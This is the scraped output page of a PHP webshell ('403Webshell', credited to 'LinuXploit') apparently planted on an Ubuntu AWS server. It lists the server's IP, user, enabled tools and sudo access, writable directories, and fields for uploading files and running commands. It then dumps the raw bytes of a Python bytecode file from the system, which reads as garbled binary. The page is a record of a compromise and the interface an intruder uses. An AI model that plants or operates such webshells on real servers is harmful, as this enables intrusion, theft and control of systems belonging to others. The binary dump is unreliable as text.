403Webshell
Server IP : 3.7.136.76  /  Your IP : 216.73.216.142
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-39-148 7.0.0-1010-aws #10~24.04.1-Ubuntu SMP PREEMPT Mon Jul 27 17:41:33 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/2955/usr/share/subiquity/console_conf/ui/views/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/2955/usr/share/subiquity/console_conf/ui/views/__pycache__/login.cpython-310.pyc
o

K��^`�@sndZddlZddlmZddlmZddlmZmZddl	m
Z
mZddlm
Z
e�d�ZGd	d
�d
e
�ZdS)z5 Login

Login provides user with language selection

�N)�Text)�done_btn)�ListBox�Pile)�button_pile�Padding)�BaseViewzsubiquitycore.views.logincs@eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Z�Z	S)�	LoginViewzUbuntu Corecst||_||_||_||_g|_t��tdtd�ft	�
t|����dtdtd�ft
|���dtd�fg�fg��dS)N�pack�)�opts�model�
controller�netdevs�items�super�__init__rrr�	center_79r�_build_model_inputsr�_build_buttons)�selfrr
rr��	__class__��3/usr/share/subiquity/console_conf/ui/views/login.pyr#s 



���zLoginView.__init__cCstd|jd�gS)N�Done)�on_press)r�done)rrrrr5s�zLoginView._build_buttonscCs�|jj}g}|jD]
}|jD]}|�|�qq	|s$g}|�td��|Sd}d}g}|j|jd�}|jdi|��}	|	|jdi|��7}	|t|	�t	�
d�g7}|D]}
d|j|
f}|�t|��qP|S)Nzno ownerz(This device is registered to {realname}.z�

Remote access was enabled via authentication with SSO user <{username}>.
Public SSH keys were added to the device for remote access.

{realname} can connect remotely to this device via SSH:)�realname�usernamerz
    ssh %s@%sr)r
�userr�actual_global_ip_addresses�appendrrr�formatr�
line_break)rr �ips�dev�addr�sl�	local_tpl�
remote_tpl�
login_info�
login_text�ip�	ssh_ifacerrrr:s2

����zLoginView._build_model_inputscCs|��dS�N)r)r�resultrrr�confirm^szLoginView.confirmcCs|j��dSr/)r�
login_done)r�buttonrrrraszLoginView.done)
�__name__�
__module__�__qualname__�titlerrrr1r�
__classcell__rrrrr	 s$r	)�__doc__�logging�urwidr�subiquitycore.ui.buttonsr�subiquitycore.ui.containerrr�subiquitycore.ui.utilsrr�subiquitycore.viewr�	getLogger�logr	rrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit